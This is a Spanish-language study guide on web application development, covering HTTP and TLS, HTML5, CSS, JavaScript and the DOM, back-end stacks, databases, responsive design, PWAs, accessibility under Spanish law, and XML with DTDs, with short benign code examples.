Una aplicación web es un programa que se ejecuta en un servidor web y al que los usuarios acceden mediante un navegador a través de una red (Internet o intranet). A diferencia de las aplicaciones de escritorio, no requieren instalación en el equipo del cliente.
Según la Ley 34/2002, de 11 de julio, de Servicios de la Sociedad de la Información y de Comercio Electrónico (LSSI-CE), los servicios de la sociedad de la información incluyen la prestación de servicios o el suministro de contenidos a través de redes de telecomunicaciones.
| Época | Característica | Tecnologías |
|---|---|---|
| 1989 | Propuesta de la WWW (Tim Berners-Lee, CERN) | Hipertexto, HTTP, HTML |
| 1991-1995 | Web estática (Web 1.0) | HTML, HTTP |
| 1995-2000 | Web dinámica | CGI, PHP, ASP |
| 2000-2005 | Aplicaciones interactivas | JavaScript, Flash |
| 2005-2010 | Web 2.0 / AJAX | XMLHttpRequest, jQuery |
| 2010-2015 | Apps móviles y responsivas | HTML5, CSS3, Bootstrap |
| 2015-hoy | SPA, PWA, Serverless | React, Angular, Vue, Node.js |
Ventajas:
- Acceso desde cualquier dispositivo con navegador
- Mantenimiento centralizado en el servidor
- No requiere instalación en el cliente
- Actualizaciones inmediatas y transparentes
- Independencia del sistema operativo
Inconvenientes:
- Dependencia de la conectividad de red
- Limitaciones de rendimiento respecto a apps nativas
- Seguridad (ataques XSS, CSRF, inyección SQL)
- Menor acceso a recursos hardware del dispositivo
| Tipo | Descripción | Ejemplo |
|---|---|---|
| Estáticas | Contenido fijo, solo HTML/CSS | Página de presentación |
| Dinámicas | Contenido generado en servidor | Blog, foro, tienda |
| SPA | Single Page Application, renderizado en cliente | Gmail, Google Maps |
| PWA | Progressive Web App, capacidades nativas | Twitter Lite |
| Portales | Agregadores de contenido y servicios | Yahoo, MSN |
| E-commerce | Comercio electrónico | Amazon, eBay |
| CMS | Gestión de contenidos | WordPress, Drupal |
| Webmail | Correo electrónico web | Gmail, Outlook |
| RIA | Rich Internet Application | Aplicaciones Flash/Flex (en desuso) |
La arquitectura fundamental de la web es el modelo cliente-servidor:
[CLIENTE] [SERVIDOR]
Navegador <--- HTTP/HTTPS ---> Servidor Web
Petición (Request)
Respuesta (Response)
Roles:
- Cliente: solicita recursos al servidor (navegador web, app móvil, curl, etc.)
- Servidor: procesa las solicitudes y devuelve respuestas
[Cliente] <--> [Servidor de Datos]
[Capa Presentación] <--> [Capa Lógica de Negocio] <--> [Capa de Datos]
(Front-End) (Back-End / API) (BBDD)
Extensión de 3 capas con capas adicionales: caché, mensajería, microservicios, CDN, etc.
Principios REST (Restricciones):
1. Cliente-Servidor: separación de responsabilidades
2. Sin estado (Stateless): cada petición contiene toda la información necesaria
3. Caché: las respuestas deben indicar si son cacheables
4. Interfaz uniforme: recursos identificados por URI, manipulación mediante representaciones
5. Sistema en capas: el cliente no sabe si se conecta directamente al servidor final
6. Código bajo demanda (opcional): el servidor puede enviar código ejecutable al cliente
GET /usuarios → Obtener lista de usuarios
GET /usuarios/42 → Obtener usuario 42
POST /usuarios → Crear nuevo usuario
PUT /usuarios/42 → Actualizar usuario 42 (completo)
PATCH /usuarios/42 → Actualizar usuario 42 (parcial)
DELETE /usuarios/42 → Eliminar usuario 42
En aplicaciones web la gestión del estado es crucial:
Protocolo de la capa de aplicación (capa 7 del modelo OSI) que define la comunicación entre cliente y servidor.
| Versión | Año | RFC | Características |
|---|---|---|---|
| HTTP/0.9 | 1991 | — | Solo GET, HTML sin cabeceras |
| HTTP/1.0 | 1996 | RFC 1945 | Cabeceras, métodos POST y HEAD |
| HTTP/1.1 | 1997 | RFC 2616/7230 | Conexiones persistentes, Host header, chunked transfer |
| HTTP/2 | 2015 | RFC 7540 | Multiplexación, compresión de cabeceras (HPACK), Server Push, binario |
| HTTP/3 | 2022 | RFC 9114 | Sobre QUIC (UDP), elimina el head-of-line blocking |
| Método | Descripción | Idempotente | Seguro |
|---|---|---|---|
| GET | Obtener recurso | Sí | Sí |
| POST | Crear recurso | No | No |
| PUT | Reemplazar recurso | Sí | No |
| PATCH | Modificar recurso parcialmente | No | No |
| DELETE | Eliminar recurso | Sí | No |
| HEAD | Como GET pero sin cuerpo | Sí | Sí |
| OPTIONS | Opciones de comunicación | Sí | Sí |
| CONNECT | Túnel TCP | No | No |
| TRACE | Diagnóstico | Sí | Sí |
Idempotente: el resultado es el mismo si se ejecuta una o varias veces.
Seguro: no modifica el estado del servidor.
Petición (Request):
GET /pagina.html HTTP/1.1
Host: www.ejemplo.com
User-Agent: Mozilla/5.0 ...
Accept: text/html,application/xhtml+xml
Accept-Language: es-ES,es;q=0.9
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
Cookie: sesion=abc123
Authorization: Bearer eyJhbGc...
Respuesta (Response):
HTTP/1.1 200 OK
Content-Type: text/html; charset=UTF-8
Content-Length: 1234
Date: Mon, 01 Jan 2025 12:00:00 GMT
Server: nginx/1.24
Cache-Control: max-age=3600
Set-Cookie: sesion=abc123; HttpOnly; Secure
ETag: "686897696a7c876b7e"
Last-Modified: Sun, 31 Dec 2024 18:00:00 GMT
| Rango | Categoría | Ejemplos |
|---|---|---|
| 1xx | Informativo | 100 Continue, 101 Switching Protocols |
| 2xx | Éxito | 200 OK, 201 Created, 204 No Content |
| 3xx | Redirección | 301 Moved Permanently, 302 Found, 304 Not Modified |
| 4xx | Error del cliente | 400 Bad Request, 401 Unauthorized, 403 Forbidden, 404 Not Found, 422 Unprocessable Entity |
| 5xx | Error del servidor | 500 Internal Server Error, 502 Bad Gateway, 503 Service Unavailable |
HTTPS = HTTP sobre TLS (Transport Layer Security). TLS es el sucesor de SSL (Secure Sockets Layer).
Funciones de TLS:
- Cifrado: la información viaja cifrada (confidencialidad)
- Autenticación: verifica la identidad del servidor mediante certificados X.509
- Integridad: garantiza que los datos no han sido modificados
Proceso TLS Handshake (simplificado):
Cliente Servidor
|---ClientHello------------>| (versiones TLS soportadas, cifrados, random)
|<--ServerHello, Cert-------| (versión elegida, certificado X.509)
|---(verifica certificado)--|
|---ClientKeyExchange------->| (clave pre-maestra cifrada con clave pública)
|<--Finished----------------| (confirmación)
|===DATOS CIFRADOS=========|
Certificados X.509:
- Emitidos por una CA (Certificate Authority): DigiCert, Let's Encrypt, Comodo...
- Contienen: clave pública, identidad del titular, CA firmante, período de validez
- Tipos: DV (Domain Validation), OV (Organization Validation), EV (Extended Validation)
Protocolo que establece un canal de comunicación bidireccional y persistente sobre una única conexión TCP.
// Cliente WebSocket
const ws = new WebSocket('wss://ejemplo.com/socket');
ws.onopen = () => ws.send('Hola servidor');
ws.onmessage = (event) => console.log('Recibido:', event.data);
ws.onerror = (error) => console.error('Error:', error);
ws.onclose = () => console.log('Conexión cerrada');
Upgrade: websocket)| Protocolo | Descripción | Puerto |
|---|---|---|
| FTP/FTPS | Transferencia de ficheros | 21/990 |
| SMTP | Envío de correo electrónico | 25/587 |
| POP3 | Recepción de correo | 110/995 |
| IMAP | Gestión de correo en servidor | 143/993 |
| DNS | Resolución de nombres de dominio | 53 |
| SSH | Shell segura, tunneling | 22 |
| WebRTC | Comunicación P2P en tiempo real | Variable |
| QUIC | Transporte de HTTP/3 sobre UDP | 443 |
URI (Uniform Resource Identifier): identificador genérico de un recurso.
URL (Uniform Resource Locator): URI que especifica la localización del recurso.
URN (Uniform Resource Name): URI que identifica el recurso por nombre (sin localización).
https://usuario:clave@www.ejemplo.com:8080/ruta/recurso?param=valor&otro=2#seccion
│────┘ │──────────────────────────────┘ │────────────┘ │────────────────┘ │──────┘
Esquema Autoridad Ruta Query string Fragmento
El front-end o lado cliente es la parte de la aplicación web que se ejecuta en el navegador del usuario. Comprende todo lo que el usuario ve e interactúa directamente.
Responsabilidades:
- Presentación visual (HTML + CSS)
- Interactividad y lógica del cliente (JavaScript)
- Consumo de APIs del servidor
- Gestión del estado de la interfaz
- Accesibilidad y usabilidad
┌─────────────────────────────────────┐
│ APLICACIÓN WEB │
│ ┌─────────┐ ┌──────┐ ┌──────────┐ │
│ │ HTML │ │ CSS │ │JavaScript│ │
│ │Estructura│ │Estilo│ │Comportam.│ │
│ └─────────┘ └──────┘ └──────────┘ │
└─────────────────────────────────────┘
┌────────────────────────────┐
│ MARGIN │
│ ┌──────────────────────┐ │
│ │ BORDER │ │
│ │ ┌────────────────┐ │ │
│ │ │ PADDING │ │ │
│ │ │ ┌──────────┐ │ │ │
│ │ │ │ CONTENT │ │ │ │
│ │ │ └──────────┘ │ │ │
│ │ └────────────────┘ │ │
│ └──────────────────────┘ │
└────────────────────────────┘
Por defecto box-sizing: content-box (width = solo contenido). Con box-sizing: border-box (width incluye padding y borde).
La cascada define qué regla prevalece cuando hay conflicto. El orden de precedencia (de menor a mayor):
!importantLa especificidad se calcula como (a, b, c, d):
- a: estilos inline (style="...") → máxima especificidad
- b: IDs (#miId)
- c: clases, pseudoclases, atributos (.clase, :hover, [attr])
- d: elementos y pseudoelementos (div, ::before)
/* Especificidad: (0,0,0,1) */
p { color: black; }
/* Especificidad: (0,0,1,0) */
.parrafo { color: blue; }
/* Especificidad: (0,1,0,0) */
#principal { color: red; }
/* Especificidad: (1,0,0,0) - gana siempre */
style="color: green"
Algunas propiedades se heredan automáticamente de padres a hijos:
- Se heredan: color, font-*, line-height, text-align, visibility...
- No se heredan: margin, padding, border, background, display, width, height...
Valores especiales: inherit (fuerza herencia), initial (valor inicial), unset (hereda si heredable, initial si no).
Flexbox (unidimensional):
.contenedor {
display: flex;
flex-direction: row; /* row | column | row-reverse | column-reverse */
justify-content: center; /* alineación eje principal */
align-items: center; /* alineación eje secundario */
flex-wrap: wrap;
gap: 16px;
}
.item {
flex: 1 1 auto; /* flex-grow flex-shrink flex-basis */
order: 2;
align-self: flex-start;
}
CSS Grid (bidimensional):
.contenedor {
display: grid;
grid-template-columns: repeat(3, 1fr);
grid-template-rows: auto;
gap: 16px;
grid-template-areas:
"header header header"
"sidebar main main"
"footer footer footer";
}
.header { grid-area: header; }
:root {
--color-primario: #2196f3;
--fuente-base: 16px;
--radio-borde: 8px;
}
.boton {
background: var(--color-primario);
font-size: var(--fuente-base);
border-radius: var(--radio-borde);
}
El DOM es la representación en memoria del documento HTML como árbol de objetos. Definido por el W3C.
// Selección de elementos
const elemento = document.getElementById('miId');
const elementos = document.querySelectorAll('.miClase');
const primero = document.querySelector('nav a');
// Manipulación del DOM
elemento.innerHTML = '<strong>Nuevo contenido</strong>';
elemento.textContent = 'Texto seguro (no interpreta HTML)';
elemento.classList.add('activo');
elemento.classList.toggle('visible');
elemento.setAttribute('data-id', '42');
elemento.style.color = 'red';
// Creación y eliminación de elementos
const nuevoDiv = document.createElement('div');
nuevoDiv.textContent = 'Hola mundo';
document.body.appendChild(nuevoDiv);
elemento.remove();
El BOM permite interactuar con el navegador más allá del documento:
// window - objeto global
window.location.href = 'https://ejemplo.com'; // Navegar
window.history.back(); // Historial
window.navigator.userAgent; // Info del navegador
window.screen.width; // Tamaño de pantalla
window.innerWidth; // Tamaño del viewport
window.setTimeout(() => {}, 1000); // Temporizador
window.alert('Mensaje'); // Diálogo
// addEventListener (forma moderna, recomendada)
boton.addEventListener('click', function(evento) {
console.log('Clic detectado');
evento.preventDefault(); // Prevenir comportamiento por defecto
evento.stopPropagation(); // Detener propagación (bubbling)
});
// Delegación de eventos (eficiente para listas dinámicas)
document.addEventListener('click', function(e) {
if (e.target.matches('.boton')) {
// Manejador para cualquier .boton, incluso los añadidos dinámicamente
}
});
// Eventos comunes: click, dblclick, mouseover, mouseout, keydown, keyup,
// submit, change, input, focus, blur, load, resize, scroll, DOMContentLoaded
JavaScript es monohilo (single-threaded) pero maneja asincronía mediante el Event Loop:
┌────────────────────┐
│ Call Stack │ ← Ejecuta código síncrono
├────────────────────┤
│ Web APIs │ ← setTimeout, fetch, eventos (fuera del hilo JS)
├────────────────────┤
│ Task Queue │ ← Callbacks de macrotareas (setTimeout, eventos)
├────────────────────┤
│ Microtask Queue │ ← Promesas (.then), queueMicrotask (prioridad alta)
└────────────────────┘
Event Loop: cuando el Call Stack está vacío, procesa primero microtareas, luego macrotareas
// XMLHttpRequest (tradicional, compatibilidad máxima)
const xhr = new XMLHttpRequest();
xhr.open('GET', 'https://api.ejemplo.com/datos');
xhr.onload = () => {
if (xhr.status === 200) console.log(JSON.parse(xhr.responseText));
};
xhr.send();
// Fetch API (moderno, basado en Promesas)
fetch('https://api.ejemplo.com/datos')
.then(response => {
if (!response.ok) throw new Error(`HTTP error: ${response.status}`);
return response.json();
})
.then(data => console.log(data))
.catch(error => console.error('Error:', error));
// Async/Await (más legible)
async function obtenerDatos() {
try {
const respuesta = await fetch('https://api.ejemplo.com/datos');
const datos = await respuesta.json();
return datos;
} catch (error) {
console.error('Error:', error);
}
}
// localStorage (persiste al cerrar el navegador)
localStorage.setItem('usuario', JSON.stringify({ nombre: 'Ana' }));
const usuario = JSON.parse(localStorage.getItem('usuario'));
localStorage.removeItem('usuario');
localStorage.clear();
// sessionStorage (se borra al cerrar la pestaña)
sessionStorage.setItem('temporal', 'valor');
El back-end o lado servidor gestiona la lógica de negocio, la persistencia de datos y la seguridad. El cliente no ve directamente este código.
[Petición HTTP]
↓
[Servidor Web] → Nginx, Apache, IIS (gestiona conexiones HTTP)
↓
[Servidor de App] → Node.js, Tomcat, Gunicorn (ejecuta el código)
↓
[Lógica de Negocio] → PHP, Java, Python, .NET
↓
[Capa de Acceso a Datos] → ORM, DAL
↓
[Base de Datos] → MySQL, PostgreSQL, MongoDB
| Servidor | Empresa | Cuota de Mercado | Características |
|---|---|---|---|
| Nginx | Nginx Inc. (F5) | ~34% | Alto rendimiento, proxy inverso, asíncrono, event-driven |
| Apache HTTP Server | Apache Foundation | ~31% | Muy popular, modular, .htaccess, prefork/worker/event MPM |
| IIS | Microsoft | ~8% | Windows Server, integración nativa con ASP.NET |
| LiteSpeed | LiteSpeed Tech. | ~14% | Compatible Apache, alto rendimiento, HTTP/3 nativo |
Proxy inverso: un servidor (generalmente Nginx) que recibe las peticiones del cliente y las reenvía al servidor de aplicaciones interno, ocultando la arquitectura real.
Balanceador de carga: distribuye el tráfico entre múltiples servidores para mejorar disponibilidad y rendimiento.
<?php
$nombre = $_GET['nombre'] ?? 'Mundo';
echo "<h1>Hola, " . htmlspecialchars($nombre) . "!</h1>";
$pdo = new PDO('mysql:host=localhost;dbname=midb', 'usuario', 'clave');
$stmt = $pdo->prepare('SELECT * FROM usuarios WHERE id = ?');
$stmt->execute([$id]);
$usuario = $stmt->fetch(PDO::FETCH_ASSOC);
?>
const express = require('express');
const app = express();
app.use(express.json());
app.get('/usuarios', async (req, res) => {
const usuarios = await db.query('SELECT * FROM usuarios');
res.json(usuarios);
});
app.listen(3000, () => console.log('Servidor en puerto 3000'));
from flask import Flask, jsonify
app = Flask(__name__)
@app.route('/usuarios')
def obtener_usuarios():
return jsonify([{'id': 1, 'nombre': 'Ana'}])
if __name__ == '__main__':
app.run(debug=True)
| SGBD | Empresa | Características |
|---|---|---|
| MySQL / MariaDB | Oracle / Comunidad | Open source, muy popular en web, LAMP stack |
| PostgreSQL | Comunidad | Avanzado, extensible, ACID, JSON nativo |
| Oracle DB | Oracle | Empresarial, alto rendimiento, licencia comercial |
| SQL Server | Microsoft | Integración con .NET, Business Intelligence |
| SQLite | D. Richard Hipp | Embebido, sin servidor, ideal para desarrollo/móvil |
Propiedades ACID (garantizan integridad en transacciones):
- Atomicidad: la transacción se ejecuta completa o no se ejecuta
- Consistencia: la BBDD pasa de un estado válido a otro válido
- Aislamiento: las transacciones concurrentes no interfieren
- Durabilidad: los cambios confirmados persisten ante fallos
| Tipo | Ejemplo | Uso típico |
|---|---|---|
| Documentos | MongoDB, CouchDB | Datos flexibles, JSON/BSON |
| Clave-Valor | Redis, DynamoDB | Caché, sesiones, configuración |
| Columnar | Cassandra, HBase | Big Data, analytics, IoT |
| Grafo | Neo4j, ArangoDB | Redes sociales, recomendaciones |
| Series temporales | InfluxDB, TimescaleDB | Monitorización, métricas |
| Búsqueda | Elasticsearch, Solr | Motor de búsqueda full-text |
Abstracción que permite trabajar con BBDD usando objetos del lenguaje:
- Hibernate / JPA (Java)
- Entity Framework Core (.NET)
- SQLAlchemy (Python)
- Eloquent (PHP/Laravel)
- Sequelize / Prisma (Node.js)
- Active Record (Ruby on Rails)
Patrón de arquitectura de software que separa la aplicación en tres componentes:
┌──────── Usuario ────────┐
↓ ↑
[Controlador] ──→ [Modelo] ──→ [Vista]
(Lógica de (Datos y (Presentación
control) reglas) al usuario)
Variantes: MVP (Model-View-Presenter), MVVM (Model-View-ViewModel), usado en Angular y Vue.
El diseño responsivo adapta la interfaz al tamaño de pantalla del dispositivo. Término acuñado por Ethan Marcotte en 2010.
Tres pilares del diseño responsivo:
1. Rejillas fluidas (fluid grids): uso de porcentajes en vez de píxeles fijos
2. Imágenes flexibles: imágenes que se adaptan al contenedor
3. Media Queries: reglas CSS condicionales según características del dispositivo
/* Mobile First approach (recomendado) */
.contenedor { width: 100%; padding: 10px; }
/* Tablets (≥768px) */
@media (min-width: 768px) {
.contenedor { max-width: 750px; margin: 0 auto; }
}
/* Escritorio (≥1200px) */
@media (min-width: 1200px) {
.contenedor { max-width: 1170px; }
}
/* Orientación */
@media (orientation: landscape) { ... }
/* Modo oscuro */
@media (prefers-color-scheme: dark) { ... }
/* Reducción de movimiento (accesibilidad) */
@media (prefers-reduced-motion: reduce) {
* { animation-duration: 0.01ms !important; }
}
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<img src="imagen-400.jpg"
srcset="imagen-400.jpg 400w, imagen-800.jpg 800w, imagen-1200.jpg 1200w"
sizes="(max-width: 600px) 100vw, 50vw"
alt="Imagen responsiva" loading="lazy">
<picture>
<source media="(min-width: 800px)" srcset="imagen-desktop.webp" type="image/webp">
<source media="(min-width: 800px)" srcset="imagen-desktop.jpg">
<img src="imagen-movil.jpg" alt="Imagen">
</picture>
| Dispositivo | Rango | Bootstrap 5 |
|---|---|---|
| Móvil pequeño | < 576px | (xs) |
| Móvil | ≥ 576px | sm |
| Tablet | ≥ 768px | md |
| Escritorio | ≥ 992px | lg |
| Escritorio grande | ≥ 1200px | xl |
| Extra grande | ≥ 1400px | xxl |
Mobile First: diseñar primero para móvil y escalar hacia arriba (recomendado por Google para SEO).
Desktop First: diseñar primero para escritorio y reducir hacia abajo (enfoque tradicional).
Las PWA combinan lo mejor de las webs y aplicaciones nativas. Concepto introducido por Google en 2015.
Características:
- Service Worker: script que actúa como proxy entre app y red, permite funcionamiento offline, cache, push
- Web App Manifest: archivo JSON que describe la app (nombre, iconos, color, modo de pantalla)
- HTTPS: requisito obligatorio para Service Workers
- Responsive: adaptable a cualquier pantalla
- Instalable: se puede añadir al escritorio/pantalla de inicio
// manifest.webmanifest
{
"name": "Mi Aplicación",
"short_name": "MiApp",
"start_url": "/",
"display": "standalone",
"background_color": "#ffffff",
"theme_color": "#2196f3",
"icons": [
{ "src": "icon-192.png", "sizes": "192x192", "type": "image/png" },
{ "src": "icon-512.png", "sizes": "512x512", "type": "image/png" }
]
}
Service Worker básico (estrategia cache-first):
// sw.js
const CACHE_NAME = 'v1';
const URLS_TO_CACHE = ['/', '/styles.css', '/app.js'];
self.addEventListener('install', event => {
event.waitUntil(
caches.open(CACHE_NAME).then(cache => cache.addAll(URLS_TO_CACHE))
);
});
self.addEventListener('fetch', event => {
event.respondWith(
caches.match(event.request).then(response => response || fetch(event.request))
);
});
Las WCAG (Web Content Accessibility Guidelines) del W3C definen cómo hacer el contenido web accesible. La versión vigente es WCAG 2.2 (2023).
4 Principios POUR:
1. Perceptible: la información debe ser presentada de forma que los usuarios puedan percibirla
2. Operable: la interfaz debe ser navegable y operable por cualquier usuario
3. Comprensible: el contenido debe ser legible y predecible
4. Robusto: el contenido debe ser interpretado por tecnologías de asistencia
3 Niveles de Conformidad:
- A: requisitos básicos (mínimo obligatorio)
- AA: nivel estándar recomendado (requerido por el Real Decreto 1112/2018 en España para el sector público)
- AAA: nivel más alto (opcional)
Normativa española: El Real Decreto 1112/2018 transpone la Directiva Europea 2016/2102 sobre accesibilidad de sitios web y aplicaciones móviles del sector público.
<!-- Buenas prácticas de accesibilidad -->
<html lang="es">
<img src="logo.png" alt="Logo de la empresa">
<button aria-label="Cerrar diálogo" type="button">×</button>
<nav aria-label="Menú principal">
<ul role="list">
<li><a href="/inicio" aria-current="page">Inicio</a></li>
</ul>
</nav>
<input type="email" id="email" aria-describedby="email-error" aria-required="true">
<span id="email-error" role="alert">Email inválido</span>
<div role="dialog" aria-modal="true" aria-labelledby="dialog-title">...</div>
ARIA (Accessible Rich Internet Applications): conjunto de atributos HTML que mejoran la accesibilidad. Roles, propiedades y estados.
| Enfoque | Herramienta | Tecnología | Resultado |
|---|---|---|---|
| Web responsiva | — | HTML/CSS/JS | Web adaptada |
| PWA | — | HTML/CSS/JS + Service Worker | Web instalable |
| Híbrida | Apache Cordova, Ionic | HTML/CSS/JS | App nativa empaquetada |
| Cross-platform nativa | React Native, Flutter | JS/Dart | App nativa real |
| Electron | Electron | HTML/CSS/JS | App de escritorio |
HTML (HyperText Markup Language) es el lenguaje de marcado estándar para crear páginas web. Fue creado por Tim Berners-Lee en el CERN en 1989-1991. Describe la estructura semántica del contenido mediante etiquetas (tags).
No es un lenguaje de programación: es un lenguaje declarativo de marcado.
| Versión | Año | Organismo | Novedad Principal |
|---|---|---|---|
| HTML 1.0 | 1991 | Tim Berners-Lee | Primera especificación |
| HTML 2.0 | 1995 | IETF | Primer estándar oficial, formularios |
| HTML 3.2 | 1997 | W3C | Tablas, scripts, applets Java |
| HTML 4.01 | 1999 | W3C | Separación contenido/presentación, CSS, marcos |
| XHTML 1.0 | 2000 | W3C | HTML reformulado como XML (strict, transitional, frameset) |
| XHTML 1.1 | 2001 | W3C | XHTML modularizado |
| HTML5 | 2014 | W3C + WHATWG | Semántica, multimedia, APIs, Canvas, WebSockets |
| HTML Living Standard | Actualidad | WHATWG | Versionado continuo, sin números de versión |
En 2019, W3C y WHATWG acordaron que WHATWG mantendría la especificación HTML/DOM como "Living Standard".
<!DOCTYPE html>
<!-- DOCTYPE indica al navegador que use el modo estándar HTML5 -->
<html lang="es">
<head>
<!-- Metadatos: no visibles en la página -->
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<meta name="description" content="Descripción de la página para SEO">
<meta name="author" content="Autor">
<meta name="robots" content="index, follow">
<!-- Open Graph para redes sociales -->
<meta property="og:title" content="Título">
<meta property="og:image" content="imagen.jpg">
<title>Título de la Página</title>
<link rel="stylesheet" href="estilos.css">
<link rel="icon" href="favicon.ico" type="image/x-icon">
<link rel="canonical" href="https://ejemplo.com/pagina">
</head>
<body>
<header>
<nav aria-label="Navegación principal">...</nav>
</header>
<main>
<article>
<h1>Título principal</h1>
<section>...</section>
</article>
<aside>...</aside>
</main>
<footer>...</footer>
<!-- Scripts al final del body para no bloquear renderizado -->
<script src="script.js" defer></script>
</body>
</html>
| Etiqueta | Uso |
|---|---|
<header> |
Cabecera de página o sección (logo, título, navegación) |
<nav> |
Bloque de navegación (menús, breadcrumbs) |
<main> |
Contenido principal, único por página |
<article> |
Contenido independiente y reutilizable (entrada de blog, noticia) |
<section> |
Sección temática de contenido (debe tener encabezado) |
<aside> |
Contenido relacionado pero secundario (barra lateral, publicidad) |
<footer> |
Pie de página o sección |
<figure> |
Contenido ilustrativo (imagen, vídeo, código) con <figcaption> |
<figcaption> |
Descripción/pie de figura |
<time> |
Fecha/hora legible por máquinas (datetime="2025-01-01") |
<mark> |
Texto resaltado/marcado |
<details> |
Contenido expandible/colapsable |
<summary> |
Resumen visible de <details> |
<dialog> |
Cuadro de diálogo modal o no modal (HTML5.2) |
<template> |
Contenido de plantilla no renderizado |
<slot> |
Placeholder en Web Components |
Elementos de bloque vs. en línea:
- Bloque (display: block): <div>, <p>, <h1-h6>, <ul>, <table>, elementos semánticos...
- En línea (display: inline): <span>, <a>, <strong>, <em>, <img>, <input>...
<form action="/procesar" method="POST" enctype="multipart/form-data" novalidate>
<!-- Nuevos tipos de input HTML5 -->
<input type="email" placeholder="email@ejemplo.com" required autocomplete="email">
<input type="url" placeholder="https://...">
<input type="tel" placeholder="600 000 000">
<input type="number" min="0" max="100" step="5">
<input type="range" min="0" max="100" value="50">
<input type="date">
<input type="time">
<input type="datetime-local">
<input type="month">
<input type="week">
<input type="color">
<input type="search" placeholder="Buscar...">
<input type="file" accept=".pdf,.docx" multiple>
<!-- Atributos de validación -->
<input type="text" required minlength="3" maxlength="50"
pattern="[A-Za-zÁÉÍÓÚáéíóúñÑ ]+" title="Solo letras y espacios">
<!-- Datalist (autocompletar) -->
<input list="navegadores" name="navegador">
<datalist id="navegadores">
<option value="Chrome"><option value="Firefox"><option value="Safari">
</datalist>
<!-- Fieldset y legend -->
<fieldset>
<legend>Datos personales</legend>
<label for="nombre">Nombre:</label>
<input type="text" id="nombre" name="nombre" required>
</fieldset>
<!-- Select múltiple -->
<select name="opciones" multiple size="4">
<optgroup label="Grupo 1">
<option value="a">Opción A</option>
</optgroup>
</select>
<button type="submit">Enviar</button>
<button type="reset">Limpiar</button>
</form>
Atributos de <input> importantes:
required, disabled, readonly, autofocus, autocomplete, placeholder, min, max, step, minlength, maxlength, pattern, multiple, accept
<!-- Vídeo -->
<video width="640" height="360" controls autoplay muted loop poster="miniatura.jpg"
preload="metadata">
<source src="video.mp4" type="video/mp4">
<source src="video.webm" type="video/webm">
<track src="subtitulos.vtt" kind="subtitles" srclang="es" label="Español" default>
<p>Tu navegador no soporta HTML5 video.</p>
</video>
<!-- Audio -->
<audio controls preload="none">
<source src="audio.mp3" type="audio/mpeg">
<source src="audio.ogg" type="audio/ogg">
</audio>
<!-- Canvas (gráficos 2D/3D mediante JavaScript) -->
<canvas id="miCanvas" width="500" height="300" aria-label="Gráfico de barras"></canvas>
<!-- SVG inline -->
<svg width="100" height="100" xmlns="http://www.w3.org/2000/svg" role="img" aria-label="Círculo azul">
<circle cx="50" cy="50" r="40" fill="blue"/>
<text x="25" y="55" fill="white" font-size="14">SVG</text>
</svg>
Formatos de vídeo/audio web:
- Vídeo: MP4 (H.264), WebM (VP8/VP9), OGG (Theora)
- Audio: MP3, AAC, OGG (Vorbis), WAV, WebM (Opus)
| API | Descripción | Uso típico |
|---|---|---|
| Geolocation API | Obtener posición GPS/IP del dispositivo | Mapas, localización |
| Web Storage API | localStorage y sessionStorage en cliente | Preferencias, carrito |
| IndexedDB | Base de datos clave-valor en el navegador | Apps offline complejas |
| Web Workers | Hilos de ejecución paralelos (sin acceso al DOM) | Cálculos intensivos |
| WebSockets | Comunicación bidireccional en tiempo real | Chat, juegos |
| Service Worker | Proxy entre app y red, cache, push | PWA |
| Notification API | Notificaciones del sistema operativo | Alertas push |
| Drag and Drop API | Arrastrar y soltar elementos | UIs interactivas |
| File API | Acceso a ficheros locales del usuario | Subida de archivos |
| History API | Manipular historial del navegador (pushState) | SPA sin recarga |
| WebRTC | Comunicación audio/vídeo peer-to-peer | Videoconferencia |
| Canvas API | Gráficos 2D mediante JavaScript | Juegos, visualizaciones |
| Web Audio API | Procesamiento y síntesis de audio | Juegos, música |
| WebGL / WebGPU | Gráficos 3D acelerados por GPU en navegador | Juegos 3D, visualización |
| Intersection Observer | Detecta visibilidad de elementos | Lazy loading, analytics |
| Mutation Observer | Detecta cambios en el DOM | Frameworks reactivos |
| Fetch API | Peticiones HTTP nativas | Consumo de APIs REST |
| Web Crypto API | Operaciones criptográficas | Seguridad cliente |
| Battery API | Estado de la batería del dispositivo | UX adaptativa |
| Vibration API | Control de vibración en móviles | Feedback táctil |
XML es un metalenguaje de marcado que define reglas para codificar documentos en un formato legible tanto por humanos como por máquinas. Fue creado por el W3C y publicado en 1998 (versión 1.0). Es un subconjunto de SGML (Standard Generalized Markup Language).
Nota: XML no está diseñado para mostrar datos (eso es HTML), sino para transportar y almacenar datos de forma estructurada.
<?xml version="1.0" encoding="UTF-8" standalone="no"?>
<!-- Prólogo: declaración XML obligatoria -->
<!-- Comentario XML -->
<!DOCTYPE biblioteca SYSTEM "biblioteca.dtd">
<biblioteca xmlns="http://ejemplo.com/biblioteca"
xmlns:lib="http://ejemplo.com/lib">
<!-- Elemento raíz único -->
<libro id="001" disponible="true">
<titulo lang="es">Don Quijote de la Mancha</titulo>
<autor>
<nombre>Miguel</nombre>
<apellidos>de Cervantes Saavedra</apellidos>
</autor>
<anio>1605</anio>
<isbn>978-84-376-0494-7</isbn>
<!-- CDATA: contenido que no se interpreta como XML -->
<descripcion><![CDATA[Primera parte: "El ingenioso hidalgo Don Quijote..."
Contiene caracteres especiales: < > & ]]></descripcion>
<precio moneda="EUR">12.50</precio>
</libro>
</biblioteca>
<br/> o <br></br>)<Libro> ≠ <libro>)id="001" o id='001')<a><b></b></a> ✓ vs <a><b></a></b> ✗| Entidad | Carácter |
|---|---|
& |
& |
< |
< |
> |
> |
" |
" |
' |
' |
Define la estructura válida de un documento XML. Puede ser interna (dentro del XML) o externa (fichero .dtd).
<!-- DTD interna -->
<!DOCTYPE biblioteca [
<!ELEMENT biblioteca (libro+)>
<!ELEMENT libro (titulo, autor, anio, isbn?)>
<!ATTLIST libro
id ID #REQUIRED
disponible (true|false) "true">
<!ELEMENT titulo (#PCDATA)>
<!ELEMENT autor (nombre, apellidos)>
<!ELEMENT nombre (#PCDATA)>
<!ELEMENT apellidos (#PCDATA)>
<!ELEMENT anio (#PCDATA)>
<!ELEMENT isbn (#PCDATA)>
]>
Cardinalidades DTD:
- (elemento) → exactamente uno
- (elemento?) → cero o uno
- (elemento+) → uno o más
- (elemento*) → cero o más
- (a,b) → a seguido de b (secuencia)
- (a|b) → a o b (elección)
Tipos de atributos DTD: CDATA, ID, IDREF, NMTOKEN, ENTITY, enumeración (val1|val2)
